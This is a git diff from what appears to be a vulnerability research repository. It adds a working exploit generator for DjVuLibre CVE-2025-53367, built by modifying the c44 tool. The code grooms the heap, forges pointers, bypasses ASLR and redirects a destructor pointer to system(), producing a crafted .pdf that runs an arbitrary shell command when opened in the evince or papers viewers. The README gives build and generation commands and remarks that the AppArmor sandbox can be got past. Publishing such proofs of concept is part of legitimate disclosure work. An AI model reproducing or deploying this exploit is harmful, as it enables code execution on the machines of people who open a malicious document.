wipe_bytes_at_dst(BitPacker &packer, size_t &lineno, uint16_t dst, ++ size_t n, uint32_t stop) { ++ if (n % 4 != 0) { ++ G_THROW(ERR_MSG("wipe_bytes_at_dst: n is not a multiple of 4")); ++ } ++ ++ // Set target pointer. ++ modify_prevruns(packer, lineno, dst, stop); ++ ++ for (size_t i = 0; i + 4 < n; i += 4) { ++ write_H_even(packer, 0x0, 0x0); ++ } ++ write_stop(packer, lineno, stop); ++} ++ ++// Write a pointer to dcd in the scratch area so that I can retrieve it ++// when I need it. ++static void make_backup_ptr(BitPacker &packer, size_t &lineno) { ++ // Set target pointer. ++ modify_prevruns(packer, lineno, offsetof_dcd_ptr_backup - 0x8, 0x40000); ++ ++ // This will copy the pointer that is currently stored in dcd->prevruns, ++ // which is a pointer to 0x10 below &dcd->prevruns. This subtracts an ++ // offset from it to calculate a pointer to dcd. ++ write_H_even(packer, 0x0, offsetof_dcd_prevruns - 0x10); ++ write_H_even(packer, 0x0, 0x0); ++ write_V0(packer); ++ write_V0(packer); ++ write_V0(packer); ++ write_H_odd(packer, 0x0, 0x40000); // stop ++ lineno++; ++} ++ ++// Overwrite prevruns with an address that's at a relatively offset from ++// dcd. This uses the pointer that I've stored at the fixed (relative to ++// the current arena) address offsetof_dcd_ptr_backup. The offset ++// is subtracted. ++static void modify_prevruns_relative(BitPacker &packer, size_t &lineno, ++ uint16_t offset, uint32_t stop) { ++ modify_prevruns(packer, lineno, offsetof_dcd_ptr_backup - 0x8, stop); ++ ++ // skip ++ write_stop(packer, lineno, stop); ++ ++ // Copy pointer back. ++ write_H_even(packer, 0x0, offset); ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x0); ++ write_V0(packer); ++ write_V0(packer); ++ write_V0(packer); ++ write_H_odd(packer, 0x0, stop); // stop ++ lineno++; ++} ++ ++// This overwrites jimg->blits.data and also modifies the size field ++// immediately above it. This operation is a bit tricky because the ++// data field is immediately preceded by the traits field, which I ++// cannot overwrite. ++static void modify_jimg_blits(BitPacker &packer, size_t &lineno, ++ uint16_t field_offset, uint16_t dst, ++ uint16_t minlo, uint16_t maxhi, uint16_t lobound, ++ uint16_t hibound) { ++ modify_prevruns_relative(packer, lineno, distance_jimg_to_dcd - field_offset, ++ 0x40000); ++ ++ // Copy pointer to &prevruns to jimg->blits.data, but with zeros ++ // below it so that I can copy it back out and modify it. ++ write_H_even(packer, 0x0, 0x0); ++ write_V0(packer); ++ write_V0(packer); ++ write_V0(packer); ++ write_H_odd(packer, 0x0, 0x40000); // stop ++ lineno++; ++ ++ // Copy pointer back to dcd, where I can modify it. It is stored at ++ // &glineruns + 0x4. ++ write_H_even(packer, 0x0, 0x0); ++ write_V0(packer); ++ write_V0(packer); ++ write_V0(packer); ++ write_H_odd(packer, 0x0, 0x40000); // stop ++ lineno++; ++ ++ // skip line ++ write_stop(packer, lineno, 0x40000); ++ ++ // Overwrite bottom two bytes of the pointer. ++ write_VL1(packer); ++ write_H_odd(packer, 0x0, 0x40000 | dst); // stop ++ lineno++; ++ ++ // Copy pointer to jimg properly this time. ++ write_P(packer); ++ write_V0(packer); ++ write_V0(packer); ++ write_V0(packer); ++ ++ // Overwrite size fields ++ write_H_odd(packer, 0x0, minlo); // data{6,7}, minlo{0,1} ++ write_H_odd(packer, 0x0, maxhi); // minlo{2,3}, maxhi{0,1} ++ write_H_odd(packer, 0x0, lobound); // maxhi{2,3}, lobound{0,1} ++ write_H_odd(packer, 0x0, hibound); // lobound{2,3}, hibound{0,1} ++ write_H_odd(packer, 0x0, 0x0); // hibound{2,3}, reproduce_old_bug ++ ++ // Need to be precise with the stop condition because I haven't left ++ // a prefix that can be overwritten, so I can't let it rewind. So I ++ // need to add just enough to a0 that it will only just overflow ++ // past 0x30000. Luckily I know the exact uint16_t values that I've ++ // written to everything except data{2,3} and data{4,5}. And I also ++ // know that those two values are non-zero. ++ uint16_t knowntotal = dst + minlo + maxhi + lobound + hibound; ++ write_H_odd(packer, 0x0, 0x10000 - knowntotal); // stop ++ // Total value written so far is 0x10000 + data{2,3} + data{4,5}, so ++ // I know that: 0x10002 <= a0 <= 0x2fffe. Therefore, this will cause ++ // a stop that won't rewind: ++ write_H_odd(packer, 0xffff, 0xffff); // stop ++ lineno++; ++} ++ ++static void forge_pointer(BitPacker &packer, size_t &lineno, uint16_t p, ++ uint16_t target) { ++ modify_prevruns(packer, lineno, p - 4, 0x40000); ++ ++ write_H_even(packer, 0x0, 0x0); ++ write_V0(packer); ++ write_V0(packer); ++ write_V0(packer); ++ write_H_odd(packer, 0x0, 0x40000); // stop ++ lineno++; ++ ++ // skip line ++ write_stop(packer, lineno, 0x40000); ++ ++ // Overwrite bottom two bytes of the pointer. ++ write_VL1(packer); ++ write_H_odd(packer, 0x0, 0x40000 | target); // stop ++ lineno++; ++} ++ ++// This modifies fake_bitmap->gbytes_data, so that fake_bitmap will get ++// freed at the end of the pass. This also wipes bytes_data, but it ++// isn't used so that doesn't matter. ++static void prepare_fake_bitmap_for_reuse(BitPacker &packer, size_t &lineno) { ++ uint16_t p = offsetof_fake_bitmap + offsetof_bytes_data; ++ modify_prevruns(packer, lineno, p, 0x40000); ++ write_VL1(packer); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x40000 | offsetof_fake_bytes_data); ++ lineno++; ++ ++ // Forge a pointer to fake_bitmap. ++ forge_pointer(packer, lineno, offsetof_fake_bytes_data, offsetof_fake_bitmap); ++} ++ ++// Zero final two bytes of grle and go all the way to the first two ++// bytes of grlerows. grlerows should point at offsetof_fake_rlerows. ++static void prepare_fake_bitmap_grlerows(BitPacker &packer, size_t &lineno) { ++ uint16_t p = offsetof_fake_bitmap + offsetof_rle; ++ ++ modify_prevruns(packer, lineno, p + 14, 0x40000); ++ for (p = offsetof_grle + 0x6; p < offsetof_grlerows - 2; p += 4) { ++ write_H_even(packer, 0x0, 0x0); ++ } ++ write_H_even(packer, 0x0, 0x40000 | offsetof_fake_rlerows); // stop ++ lineno++; ++} ++ ++// This prepares the fake bitmap so that this memcpy will get ++// called: ++// ++// https://sourceforge.net/p/djvu/djvulibre-git/ci/42029c33b2fb25bc1fa98c80b2be83a2fa23cce1/tree/libdjvu/GBitmap.cpp#l1236 ++// ++// The source pointer for the memcpy needs to be copied to rle after ++// this function finishes. dst is the destination of the memcpy. dst ++// needs to point to a fake chunk, which will get freed and then ++// immediately reallocated. size is the number of bytes that will be ++// memcpy'd, which much match the size of the fake chunk at dst. ++static void prepare_fake_bitmap_for_memcpy(BitPacker &packer, size_t &lineno, ++ uint16_t dst, uint16_t size) { ++ // Forge a pointer to dst in fake_rlerows. ++ forge_pointer(packer, lineno, offsetof_fake_rlerows, dst); ++ ++ // Modify rlelength ++ modify_prevruns(packer, lineno, offsetof_fake_bitmap + offsetof_rlelength - 4, ++ 0x40000); ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, size, 0x40000); // stop ++ lineno++; ++} ++ ++// Helper for create_fake_chunks(). ++static void create_fake_chunk_body(BitPacker &packer, size_t &lineno, ++ uint16_t &offset, uint16_t size) { ++ const uint16_t end = offset + size + 0x10; ++ write_H_even(packer, size + 0x15, 0x0); ++ offset += 4; ++ while (offset < end) { ++ write_H_even(packer, 0x0, 0x0); ++ offset += 4; ++ } ++} ++ ++// Create some fake malloc chunks at the specified offset. ++static void create_fake_chunks(BitPacker &packer, size_t &lineno, ++ uint16_t offset, ++ const std::vector &sizes, ++ uint32_t stop) { ++ // Reverse an extra 4 bytes because they'll get zeroed at the end of the line. ++ offset -= 0xc; ++ modify_prevruns(packer, lineno, offset, stop); ++ ++ write_H_even(packer, 0x0, 0x0); ++ offset += 4; ++ ++ // create n chunks. ++ size_t n = sizes.size(); ++ for (size_t i = 0; i < n; i++) { ++ create_fake_chunk_body(packer, lineno, offset, sizes[i]); ++ } ++ create_fake_chunk_body(packer, lineno, offset, 0x10); ++ write_H_even(packer, 0x25, stop); // stop ++ lineno++; ++} ++ ++// Write the shell command string. ++static void write_command(BitPacker &packer, size_t &lineno, uint16_t dst, ++ const char *cmd) { ++ // Sum the uint16_t values so that I can set the width to the correct value. ++ size_t n = strlen(cmd); ++ uint32_t total = 0; ++ ++ for (size_t i = 0; i < n; i += 4) { ++ uint16_t p[2] = {0, 0}; ++ memcpy(p, &cmd[i], std::min(sizeof(p), n - i)); ++ total += p[0] + p[1]; ++ } ++ ++ // Add 1 to the total to use as a stop value. ++ total++; ++ ++ // Need to modify width manually because it needs a bigger ++ // stop value than usual. ++ uint32_t stop = ((total >> 16) + 2) << 16; ++ // Point prevruns at dcd. ++ modify_prevruns_relative(packer, lineno, 0, 0x40000); ++ for (size_t i = 0; i < offsetof_dcd_width; i += 4) { ++ write_H_even(packer, 0, 0); ++ } ++ write_H_even(packer, total & 0xffff, stop | (total >> 16)); ++ lineno++; ++ ++ modify_prevruns(packer, lineno, dst, stop); ++ for (size_t i = 0; i < n; i += 4) { ++ uint16_t p[2] = {0, 0}; ++ memcpy(p, &cmd[i], std::min(sizeof(p), n - i)); ++ write_H_even(packer, p[0], p[1]); ++ } ++ ++ write_H_even(packer, 0, 1); // stop ++ lineno++; ++ ++ // reset width ++ modify_prevruns_relative(packer, lineno, 0, stop); ++ for (size_t i = 0; i < offsetof_dcd_width; i += 4) { ++ write_H_even(packer, 0, 0); ++ } ++ write_H_even(packer, 0x0, stop | 0x3); ++ lineno++; ++} ++ ++static void chunk_Smmr(IFFByteStream &iff, ++ const uint16_t distance_traits_to_strtol, ++ const uint16_t distance_strtol_to_system, ++ const char *command) { ++ iff.put_chunk("Smmr"); ++ uint8_t magic[4] = {'M', 'M', 'R', '\0'}; ++ iff.get_bytestream()->write(magic, sizeof(magic)); ++ ++ // This choice of width will allocate a chunk of size 0x220, which is ++ // waiting in the tcache thanks to the feng shui phase which just ++ // happened. It means that dcd->lineruns will get allocated immediately ++ // below dcd in memory, so I can use the buffer overflow to corrupt dcd. ++ const uint16_t width = (0x10 * 0x21) / 2; ++ ++ // `height` is the number of lines. It needs to be bigger than the number ++ // of steps in the exploit. For example, it gets decremented every time ++ // write_stop is called. It is also used in the calculation of ++ // `blocksize`. ++ const uint16_t height = 100 * 22; ++ const uint16_t blocksize = ++ std::min(500, std::max(64, std::max(width / 17, height / 22))); ++ const uint16_t blocksperline = (width + blocksize - 1) / blocksize; ++ ++ iff.get_bytestream()->write16(width); // width ++ iff.get_bytestream()->write16(height); // height ++ ++ uint8_t bitbuf[0x20000]; ++ BitPacker packer(bitbuf, sizeof(bitbuf)); ++ size_t lineno = 0; ++ uint16_t p = 0; ++ ++ // Pass 0 ++ lineno = 0; ++ ++ // skip ++ firstrun(packer, lineno, width, blocksize, blocksperline); ++ ++ overwrite_width(packer, 0x0); ++ write_stop(packer, lineno, 0x40000); ++ ++ create_write_what_where_gadget(packer, lineno); ++ ++ // Clean the memory in the scratch area. ++ wipe_bytes_at_dst(packer, lineno, offsetof_scratch_area, ++ offsetof_scratch_area_end - offsetof_scratch_area, 0x40000); ++ ++ make_backup_ptr(packer, lineno); ++ ++ // Copy arena pointer components. ++ copy_uint16(packer, lineno, offsetof_dcd_ptr_backup + 2, arena_ptrbytes_2_3); ++ copy_uint16(packer, lineno, offsetof_dcd_ptr_backup + 4, arena_ptrbytes_4_5); ++ ++ // The backup pointer got trashed by copy_uint16, so build it again. ++ make_backup_ptr(packer, lineno); ++ ++ std::vector fake_chunk_sizes = {sizeof_GBitmap, sizeof_fake_chunk, ++ sizeof_fake_chunk}; ++ create_fake_chunks(packer, lineno, offsetof_fake_bitmap, fake_chunk_sizes, ++ 0x40000); ++ ++ // Overwrite jimg->blits.data and tinker with its size fields so ++ // that it will get reallocated at the end of this pass. I'll use it ++ // to free fake_bitmap so that it will get allocated on the next ++ // pass. ++ modify_jimg_blits(packer, lineno, offsetof_blits_data, offsetof_fake_bitmap, ++ 0, 4, 0, 4); ++ ++ // Point prevruns somewhere safe. ++ modify_prevruns(packer, lineno, offsetof_scratch_area, 0x40000); ++ ++ // padding to finish the pass ++ while (lineno < blocksize) { ++ write_stop(packer, lineno, 0x30000 | lineno); ++ } ++ ++ // Pass 1 ++ lineno = 0; ++ ++ // skip ++ write_stop(packer, lineno, 0x30002); ++ ++ prepare_fake_bitmap_for_reuse(packer, lineno); ++ ++ prepare_fake_bitmap_grlerows(packer, lineno); ++ ++ prepare_fake_bitmap_for_memcpy(packer, lineno, offsetof_fake_chunk1, ++ sizeof_fake_chunk); ++ ++ // Write a pointer to jimg to fake_bitmap->rle, so that the memcpy will ++ // copy the contents of jimg to fake_chunk, where it's easier to work with ++ // because it's at a fixed offset. ++ modify_prevruns(packer, lineno, offsetof_fake_bitmap + offsetof_rle - 4, ++ 0x40000); ++ ++ // Calculate the address of jimg relative to the address stored in ++ // dcd.prevruns. ++ write_H_even(packer, 0x0, ++ distance_jimg_to_dcd + offsetof_dcd_prevruns - 0x10); ++ write_V0(packer); ++ write_V0(packer); ++ write_V0(packer); ++ // Overwrite bottom bytes of grle so that it points at fake_bitmap->bytes. ++ write_H_odd(packer, 0x40000, offsetof_fake_bitmap + offsetof_bytes); // stop ++ lineno++; ++ ++ // Point prevruns somewhere safe. ++ modify_prevruns(packer, lineno, offsetof_scratch_area, 0x40000); ++ ++ // padding to finish the pass ++ while (lineno < blocksize) { ++ write_stop(packer, lineno, 0x30000 | lineno); ++ } ++ ++ // Pass 2 ++ lineno = 0; ++ ++ // skip ++ write_stop(packer, lineno, 0x30002); ++ ++ // Split the traits pointer into separate components, because I ++ // need to use it twice and it'll get trashed if I use pointer_add ++ // on it directly. ++ p = offsetof_fake_chunk1 + offsetof_blits_traits; ++ copy_uint16(packer, lineno, p + 0, traits_ptrbytes_0_1); ++ copy_uint16(packer, lineno, p + 2, traits_ptrbytes_2_3); ++ copy_uint16(packer, lineno, p + 4, traits_ptrbytes_4_5); ++ ++ // Restore the traits pointer in its original location. ++ copy_uint16(packer, lineno, traits_ptrbytes_0_1, p + 0); ++ copy_uint16(packer, lineno, traits_ptrbytes_2_3, p + 2); ++ copy_uint16(packer, lineno, traits_ptrbytes_4_5, p + 4); ++ ++ prepare_fake_bitmap_for_reuse(packer, lineno); ++ ++ prepare_fake_bitmap_grlerows(packer, lineno); ++ ++ prepare_fake_bitmap_for_memcpy(packer, lineno, offsetof_fake_chunk2, ++ sizeof_fake_chunk); ++ ++ // Reconstruct the traits pointer in fake_bitmap->rle. ++ p = offsetof_fake_bitmap + offsetof_rle; ++ copy_uint16(packer, lineno, traits_ptrbytes_0_1, p + 0); ++ copy_uint16(packer, lineno, traits_ptrbytes_2_3, p + 2); ++ copy_uint16(packer, lineno, traits_ptrbytes_4_5, p + 4); ++ ++ // Reconstruct grle ++ p = offsetof_fake_bitmap + offsetof_grle; ++ modify_prevruns(packer, lineno, p - 2, 0x40000); ++ write_H_even(packer, 0x0, offsetof_fake_bitmap + offsetof_bytes); ++ write_H_even(packer, 0xffff - offsetof_fake_bitmap + offsetof_bytes, 0xaaab); ++ write_H_even(packer, 0xaaab, 0xaaab); ++ lineno++; ++ ++ copy_uint16(packer, lineno, arena_ptrbytes_2_3, p + 2); ++ copy_uint16(packer, lineno, arena_ptrbytes_4_5, p + 4); ++ ++ modify_prevruns(packer, lineno, p + 6, 0x40000); ++ write_stop(packer, lineno, 0x40000); ++ ++ // Point prevruns somewhere safe. ++ modify_prevruns(packer, lineno, offsetof_scratch_area, 0x40000); ++ ++ // padding to finish the pass ++ while (lineno < blocksize) { ++ write_stop(packer, lineno, 0x30000 | lineno); ++ } ++ ++ // Pass 3 ++ lineno = 0; ++ ++ // skip ++ write_stop(packer, lineno, 0x30002); ++ ++ prepare_fake_bitmap_for_reuse(packer, lineno); ++ ++ prepare_fake_bitmap_grlerows(packer, lineno); ++ ++ // fake chunk 1 currently contains a copy of jimg, which I don't ++ // need anymore after this pass, so it can be used as the memcpy ++ // destination. ++ prepare_fake_bitmap_for_memcpy(packer, lineno, offsetof_fake_chunk1, ++ sizeof_fake_chunk); ++ ++ pointer_add(packer, lineno, offsetof_fake_chunk1 + offsetof_blits_traits, ++ offsetof_fake_bitmap + offsetof_rle, ++ distance_traits_to_strtol - 0x10); ++ ++ // Reconstruct grle ++ p = offsetof_fake_bitmap + offsetof_grle; ++ modify_prevruns(packer, lineno, p - 2, 0x40000); ++ write_H_even(packer, 0x0, offsetof_fake_bitmap + offsetof_bytes); ++ write_H_even(packer, 0xffff - offsetof_fake_bitmap + offsetof_bytes, 0xaaab); ++ write_H_even(packer, 0xaaab, 0xaaab); ++ lineno++; ++ ++ copy_uint16(packer, lineno, arena_ptrbytes_2_3, p + 2); ++ copy_uint16(packer, lineno, arena_ptrbytes_4_5, p + 4); ++ ++ modify_prevruns(packer, lineno, p + 6, 0x40000); ++ write_stop(packer, lineno, 0x40000); ++ ++ // Point prevruns somewhere safe. ++ modify_prevruns(packer, lineno, offsetof_scratch_area, 0x40000); ++ ++ // padding to finish the pass ++ while (lineno < blocksize) { ++ write_stop(packer, lineno, 0x30000 | lineno); ++ } ++ ++ // Pass 4 ++ lineno = 0; ++ ++ // skip ++ write_stop(packer, lineno, 0x30002); ++ ++ // Build a fake traits. I've already memcpy'd the traits to the ++ // fake_chunk2, so I just need to overwrite the fini field with ++ // a pointer to system. ++ uint16_t faketraits = offsetof_fake_chunk2; ++ ++ // A pointer to __GI___isoc23_strtol is currently stored at fake_chunk1 + ++ // 0x10. Add an offset to get the address of system and write it into the fini ++ // field of the fake traits. ++ pointer_add(packer, lineno, offsetof_fake_chunk1 + 0x10, faketraits + 0x20, ++ distance_strtol_to_system); ++ ++ // zero top two bytes of the pointer ++ modify_prevruns(packer, lineno, faketraits + 0x26, 0x40000); ++ write_stop(packer, lineno, 0x40000); ++ ++ write_command(packer, lineno, offsetof_command, command); ++ ++ modify_jimg_blits(packer, lineno, offsetof_blits_traits, faketraits, 0, 0, 0, ++ 0); ++ ++ // Point jimg->blits.data at the command string and modify the size ++ // fields so that jimg->blits.traits->fini() will get called on it. ++ modify_jimg_blits(packer, lineno, offsetof_blits_data, offsetof_command, 0, 0, ++ 2, 0); ++ ++ // Point prevruns somewhere safe. ++ modify_prevruns(packer, lineno, offsetof_scratch_area, 0x40000); ++ ++ // padding to finish the pass ++ while (lineno < blocksize) { ++ write_stop(packer, lineno, 0x30000 | lineno); ++ } ++ ++ iff.get_bytestream()->write(bitbuf, packer.byteoffset()); ++ ++ iff.close_chunk(); ++} ++ ++// Make a comment string of a specific length by repeating the message. ++std::string mkcomment(const char *msg, size_t size) { ++ const size_t msglen = strlen(msg); ++ std::string s; ++ s.reserve(size); ++ while (s.size() + msglen <= size) { ++ s += msg; ++ } ++ while (s.size() + 1 <= size) { ++ s += '\n'; ++ } ++ return s; ++} ++ ++static void create_photo_djvu_file(IFFByteStream &iff, ++ const uint16_t distance_traits_to_strtol, ++ const uint16_t distance_strtol_to_system, ++ const char *command) { + // Prepare info chunk +- GP ginfo=DjVuInfo::create(); +- DjVuInfo &info=*ginfo; +- info.width = w; +- info.height = h; +- info.dpi = (flag_dpi>0 ? flag_dpi : 100); +- info.gamma = (flag_gamma>0 ? flag_gamma : 2.2); ++ GP ginfo = DjVuInfo::create(); ++ DjVuInfo &info = *ginfo; ++ info.width = 200; ++ info.height = 200; ++ info.dpi = 100; ++ info.gamma = 2.2; + // Write djvu header and info chunk + iff.put_chunk("FORM:DJVU", 1); + iff.put_chunk("INFO"); + info.encode(*iff.get_bytestream()); ++ { ++ char txt[4096]; ++ memset(txt, 0, sizeof(txt)); ++ strcpy(txt, "kevwozere"); ++ iff.get_bytestream()->write(txt, sizeof(txt)); ++ } + iff.close_chunk(); +- // Write all chunks +- int flag = 1; +- for (int i=0; flag && i gd = JB2Dict::create(); ++ JB2Dict &d = *gd; ++ std::vector comments; ++ size_t comment_idx = 0; ++ d.encode_shape_cb = [&d, &comments, &comment_idx]() { ++ std::string& c = comments[comment_idx++]; ++ d.comment = c.c_str(); ++ }; ++ ++ for (size_t i = 0; i < 0x9; i++) { ++ for (size_t j = 0xb; j > 1; j--) { ++ comments.push_back(""); ++ // Total size will be 16*j-4, so it will allocate ++ // a chunk of size 16*(j+1). ++ djbz_bitmap(d, 3, 1008, (j*0x10 - 0x17)/3 + 1); ++ } ++ } ++ ++ for (size_t i = 0; i < 2; i++) { ++ comments.push_back(""); ++ djbz_bitmap(d, 3, 1008, 0xae); // 0x220 tcache chunk ++ } ++ ++ // The portcaster is a nuisance because it allocates a bunch of ++ // small chunks. The exact amount of memory that it allocates ++ // seems to be non-deterministic, so it could ruin all my ++ // work. Luckily the timing of when it runs is completely ++ // deterministic: it gets triggered every 256 bytes. It gets ++ // called several times during the decoding of the large comment ++ // below, but I have tuned things so that it won't get called ++ // again before the end of this Djbz segment. ++ ++ // The purpose of this large comment is to create a hole in memory ++ // where jimg, prevruns, lineruns, and dcd will get allocated. I ++ // allocate this comment, then plug any other holes in memory ++ // before freeing it so that it will get used for those ++ // allocations. ++ comments.push_back(mkcomment("kevwozere101\n", 0xbdf)); ++ djbz_bitmap(d, 3, 0xff00, 0x2a); ++ ++ // Plug holes. Use a very large bitmap that compresses to a small ++ // size so that the temporary mallocs that happen during parsing ++ // get mmapped and won't interfere with the thread-local arena. ++ for (size_t i = 0; i < 0x10; i++) { ++ comments.push_back(""); ++ djbz_bitmap(d, 3, 0xff00, 0x2a); ++ comments.push_back(""); ++ djbz_bitmap(d, 3, 0xff00, 1); + } ++ ++ comments.push_back(mkcomment("\n", 0x98)); // jimg ++ djbz_bitmap(d, 3, 0xff00, 1); ++ ++ comments.push_back(mkcomment("\n", 0x208)); // prevruns, lineruns ++ djbz_bitmap(d, 3, 0xff00, 1); ++ ++ comments.push_back(mkcomment("\n", 0x78)); ++ djbz_bitmap(d, 3, 0xff00, 1); ++ ++ comments.push_back(mkcomment("kevwozere102\n", 0x17)); ++ ++ d.encode(iff.get_bytestream()); ++ } ++ iff.close_chunk(); ++ ++ chunk_Smmr(iff, distance_traits_to_strtol, distance_strtol_to_system, ++ command); ++ + // Close djvu chunk + iff.close_chunk(); + } + ++// parse an offset like 0x1010 ++uint16_t parse_offset(const char *arg) { ++ unsigned long n; ++ if (strncmp(arg, "0x", 2) == 0) { ++ // hex ++ n = strtoul(arg + 2, 0, 16); ++ } else { ++ // dec ++ n = strtoul(arg, 0, 10); ++ } ++ if (n >= 0x10000) { ++ G_THROW(ERR_MSG("offset is too big for a uint16_t")); ++ } ++ return n; ++} + +-int +-main(int argc, char **argv) +-{ ++int main(int argc, char **argv) { + DJVU_LOCALE; +- GArray dargv(0,argc-1); +- for(int i=0;i gibs=ByteStream::create(g().pnmurl,"rb"); +- ByteStream &ibs=*gibs; +- char prefix[16]; +- memset(prefix, 0, sizeof(prefix)); +- if (ibs.readall((void*)prefix, sizeof(prefix)) < sizeof(prefix)) +- G_THROW( ERR_MSG("c44.failed_pnm_header") ); +-#ifdef DEFAULT_JPEG_TO_HALF_SIZE +- // Default specification for jpeg files +- // This is disabled because +- // -1- jpeg detection is unreliable. +- // -2- quality is very difficult to predict. +- if(prefix[0]!='P' &&prefix[0]!='A' && prefix[0]!='F' && +- !flag_mask && !flag_bpp && !flag_size && +- !flag_slice && !flag_decibel) +- { +- parse_size("10,20,30,50"); +- flag_size = flag_percent = 1; +- } +-#endif +- // Change percent specification into size specification +- if (flag_size && flag_percent) +- for (int i=0; isize())/ 100; +- flag_percent = 0; +- // Load images +- int w = 0; +- int h = 0; +- ibs.seek(0); +- GP iw; +- // Check color vs gray +- if (prefix[0]=='P' && (prefix[1]=='2' || prefix[1]=='5')) +- { +- // gray file +- GP gibm=GBitmap::create(ibs); +- GBitmap &ibm=*gibm; +- w = ibm.columns(); +- h = ibm.rows(); +- iw = IW44Image::create_encode(ibm, getmask(w,h)); +- } +- else if (!GStringRep::cmp(prefix,"AT&TFORM",8) || +- !GStringRep::cmp(prefix,"FORM",4)) +- { +- char *s = (prefix[0]=='F' ? prefix+8 : prefix+12); +- GP giff=IFFByteStream::create(gibs); +- IFFByteStream &iff=*giff; +- const bool color=!GStringRep::cmp(s,"PM44",4); +- if (color || !GStringRep::cmp(s,"BM44",4)) +- { +- iw = IW44Image::create_encode(IW44Image::COLOR); +- iw->decode_iff(iff); +- w = iw->get_width(); +- h = iw->get_height(); +- } +- else +- G_THROW( ERR_MSG("c44.unrecognized") ); +- // Check that no mask has been specified. +- if (! g().mskurl.is_empty()) +- G_THROW( ERR_MSG("c44.failed_mask") ); +- } +- else // just for kicks, try jpeg. +- { +- // color file +- const GP gipm(GPixmap::create(ibs)); +- GPixmap &ipm=*gipm; +- w = ipm.columns(); +- h = ipm.rows(); +- iw = IW44Image::create_encode(ipm, getmask(w,h), arg_crcbmode); +- } +- // Call destructor on input file +- gibs=0; +- +- // Perform compression PM44 or BM44 as required +- if (iw) +- { +- g().iw4url.deletefile(); +- GP iff = +- IFFByteStream::create(ByteStream::create(g().iw4url,"wb")); +- if (flag_crcbdelay >= 0) +- iw->parm_crcbdelay(flag_crcbdelay); +- if (flag_dbfrac > 0) +- iw->parm_dbfrac((float)flag_dbfrac); +- int nchunk = resolve_quality(w*h); +- // Create djvu file +- create_photo_djvu_file(*iw, w, h, *iff, nchunk, g().parms); +- } +- } +- G_CATCH(ex) +- { +- ex.perror(); +- exit(1); ++ GArray dargv(0, argc - 1); ++ for (int i = 0; i < argc; ++i) ++ dargv[i] = GNativeString(argv[i]); ++ G_TRY { ++ if (argc != 5) { ++ G_THROW(ERR_MSG("usage: ")); + } ++ ++ // Distance from jimg->blits.traits to __GI___isoc23_strtol pointer ++ const uint16_t distance_traits_to_strtol = parse_offset(argv[1]); ++ ++ // Distance from &__GI___isoc23_strtol to &system ++ const uint16_t distance_strtol_to_system = parse_offset(argv[2]); ++ ++ GURL iw4url = GURL::Filename::UTF8(dargv[4]); ++ iw4url.deletefile(); ++ GP iff = ++ IFFByteStream::create(ByteStream::create(iw4url, "wb")); ++ // Create djvu file ++ create_photo_djvu_file(*iff, distance_traits_to_strtol, ++ distance_strtol_to_system, argv[3]); ++ } ++ G_CATCH(ex) { ++ ex.perror(); ++ exit(1); ++ } + G_ENDCATCH; + return 0; + } diff --git a/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md b/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md index ee17e55..48edc34 100644 --- a/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md +++ b/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md @@ -1,11 +1,56 @@ # Proof of concept for DjVuLibre CVE-2025-53367 -At this time, we are only sharing @antonio-morales's original -fuzzer-generated poc, so that people can quickly test whether they're -running a vulnerable version of DjVuLibre. This poc only causes the -DjVuLibre library to crash. We are delaying publication of our more -sophisticated poc, which is able to bypass ASLR and gain code -execution. +This poc uses CVE-2025-53367 to achieve code execution in the +default PDF viewer on many Linux distributions: +[evince](https://gitlab.gnome.org/GNOME/evince) or +[papers](https://gitlab.gnome.org/GNOME/papers). + +Because the DjVuLibre file format is quite complicated, it was +easiest to create the poc by reusing the DjVuLibre codebase, +and modifying one of its tools to generate the poc file. So to +build the poc, you need to clone the official DjVuLibre repo +and then apply a patch: + +```bash +git clone https://git.code.sf.net/p/djvu/djvulibre-git DjVuLibre-poc-CVE-2025-53367 +cd DjVuLibre-poc-CVE-2025-53367 +git checkout 4a285e8da5cd9a2a6b296242a952ee96e519280d +git apply ../DjVuLibre-poc-CVE-2025-53367.diff +``` + +Build it like this: + +```bash +./autogen.sh --prefix=`pwd`/install +make install +``` + +Now generate the poc file like this: + +```bash +./install/bin/c44 0x1010 0x4770 "google-chrome https://www.youtube.com/watch?v=dQw4w9WgXcQ" plucky.pdf # Ubuntu 25.04 +./install/bin/c44 0x1010 0x4360 "google-chrome https://www.youtube.com/watch?v=dQw4w9WgXcQ" noble.pdf # Ubuntu 24.04 +``` + +The first two parameters are offsets that need to be tuned for +different Linux distributions. The first is the distance between two +pointers in `libdjvulibre.so` and the second is the distance between +two pointers in `libc.so`. The third parameter is the command string +that will be passed to `system()`. Note that evince/papers run under +an [AppArmor](https://apparmor.net/) profile which will block some +commands. It's not super-restrictive, so there are ways of getting +past it. You can use the `aa-exec` tool to experiment with what's +possible: + +```bash +aa-exec -d -v -p /usr/bin/papers /bin/bash -c "echo 1337 > ~/pwned.txt" +``` + +## Original fuzzer-generated poc + +We published this (much simpler) version of the poc sooner, to help +people quickly test whether they're running a vulnerable version of +DjVuLibre.This poc only causes the DjVuLibre library to crash. [Fuzzer-generated poc file](./fuzzer-poc.djvu) @@ -13,4 +58,5 @@ execution. * https://github.blog/security/vulnerability-research/cve-2025-53367-an-exploitable-out-of-bounds-write-in-djvulibre/ * https://www.openwall.com/lists/oss-security/2025/07/03/1 -* https://securitylab.github.com/advisories/GHSL-2025-055_DjVuLibre/ \ No newline at end of file +* https://securitylab.github.com/advisories/GHSL-2025-055_DjVuLibre/ +* https://github.com/kevinbackhouse/DjVuLibre-poc-CVE-2025-53367 (this same poc in a standalone git repo) diff --git a/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/noble.pdf b/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/noble.pdf new file mode 100644 index 0000000000000000000000000000000000000000..37c9f5f0036fee87b0b9c33ee19d0649db976324 GIT binary patch literal 82468 zcmeGl3sh8PdSGB+M#peLCCA5Tidg0%G@xb*LIld-70@)@&Pbp*A{tSvB`xCvsoWex 